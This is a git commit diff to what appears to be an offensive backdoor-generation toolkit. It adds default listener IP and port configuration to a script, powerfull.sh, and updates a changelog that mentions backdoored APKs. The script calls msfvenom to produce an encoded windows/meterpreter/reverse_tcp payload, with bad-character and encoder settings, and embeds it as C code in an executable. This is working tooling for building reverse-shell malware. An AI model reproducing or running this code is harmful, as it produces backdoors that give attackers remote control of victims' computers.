Update-2
This commit is contained in:
parent
55bdaf4e52
commit
6d80684228
|
@ -1,7 +1,7 @@
|
||||||
## CHANGELOG
|
## CHANGELOG
|
||||||
|
|
||||||
* v1.9.2 - Implemented option to create only apk payload in backdoored menu
|
* v1.9.2 - Implemented option to create only apk payload in backdoored menu
|
||||||
* v1.9.2 - Implemented Default Lhost & Lport config to fatrat
|
* v1.9.2 - Implemented Default Lhost & Lport config to fatrat & powerfull shell creator
|
||||||
* v1.9.2 - Fixed payload in pnwinds option2
|
* v1.9.2 - Fixed payload in pnwinds option2
|
||||||
* v1.9.2 - Implemented Stop functions in pnwinds
|
* v1.9.2 - Implemented Stop functions in pnwinds
|
||||||
* v1.9.2 - New signing process in old method backdoor apk & option to create listener
|
* v1.9.2 - New signing process in old method backdoor apk & option to create listener
|
||||||
|
|
27
powerfull.sh
27
powerfull.sh
|
@ -9,6 +9,15 @@ searchsploit=`sed -n 17p $file`
|
||||||
else
|
else
|
||||||
echo "Configuration file does not exists , run setup.sh first ."
|
echo "Configuration file does not exists , run setup.sh first ."
|
||||||
exit 1
|
exit 1
|
||||||
|
|
||||||
|
|
||||||
|
fi
|
||||||
|
path=`pwd`
|
||||||
|
defcon=$path/config/conf.def
|
||||||
|
if [ -f "$defcon" ]
|
||||||
|
then
|
||||||
|
yourip=`sed -n 1p $defcon`
|
||||||
|
yourport=`sed -n 2p $defcon`
|
||||||
fi
|
fi
|
||||||
|
|
||||||
#get user local ip , public ip & hostname into variables
|
#get user local ip , public ip & hostname into variables
|
||||||
|
@ -103,10 +112,18 @@ echo -e $yellow "Your local IP address is : $lanip"
|
||||||
echo -e $yellow "Your public IP address is : $publicip"
|
echo -e $yellow "Your public IP address is : $publicip"
|
||||||
echo -e $yellow "Your Hostname is : $hostn"
|
echo -e $yellow "Your Hostname is : $hostn"
|
||||||
echo -e $okegreen ""
|
echo -e $okegreen ""
|
||||||
|
if [ ! -f "$defcon" ]
|
||||||
read -p ' Set LHOST IP: ' payloadLHOST; read -p ' Set LPORT: ' payloadLPORT
|
then
|
||||||
|
yourip=""
|
||||||
|
yourport=""
|
||||||
|
fi
|
||||||
|
if [ -z "$yourip" ]; then
|
||||||
|
read -p ' Set LHOST IP: ' yourip
|
||||||
|
fi
|
||||||
|
echo -e $okegreen ""
|
||||||
|
if [ -z "$yourport" ]; then
|
||||||
|
read -p ' Set LPORT: ' yourport
|
||||||
|
fi
|
||||||
|
|
||||||
payload="windows/meterpreter/reverse_tcp"
|
payload="windows/meterpreter/reverse_tcp"
|
||||||
msfvenomBadChars="\x00\xff"
|
msfvenomBadChars="\x00\xff"
|
||||||
|
@ -223,7 +240,7 @@ while [[ ! -f "$outputExe" ]]; do
|
||||||
generatePadding
|
generatePadding
|
||||||
|
|
||||||
echo "" >> $cProg
|
echo "" >> $cProg
|
||||||
$msfvenom -p ${payload} LHOST=$payloadLHOST LPORT=$payloadLPORT -b ${msfvenomBadChars} -e ${msfvenomEncoder} -i ${msfvenomIterations} -f c >> $cProg
|
$msfvenom -p ${payload} LHOST=$yourip LPORT=$yourport -b ${msfvenomBadChars} -e ${msfvenomEncoder} -i ${msfvenomIterations} -f c >> $cProg
|
||||||
|
|
||||||
generatePadding
|
generatePadding
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue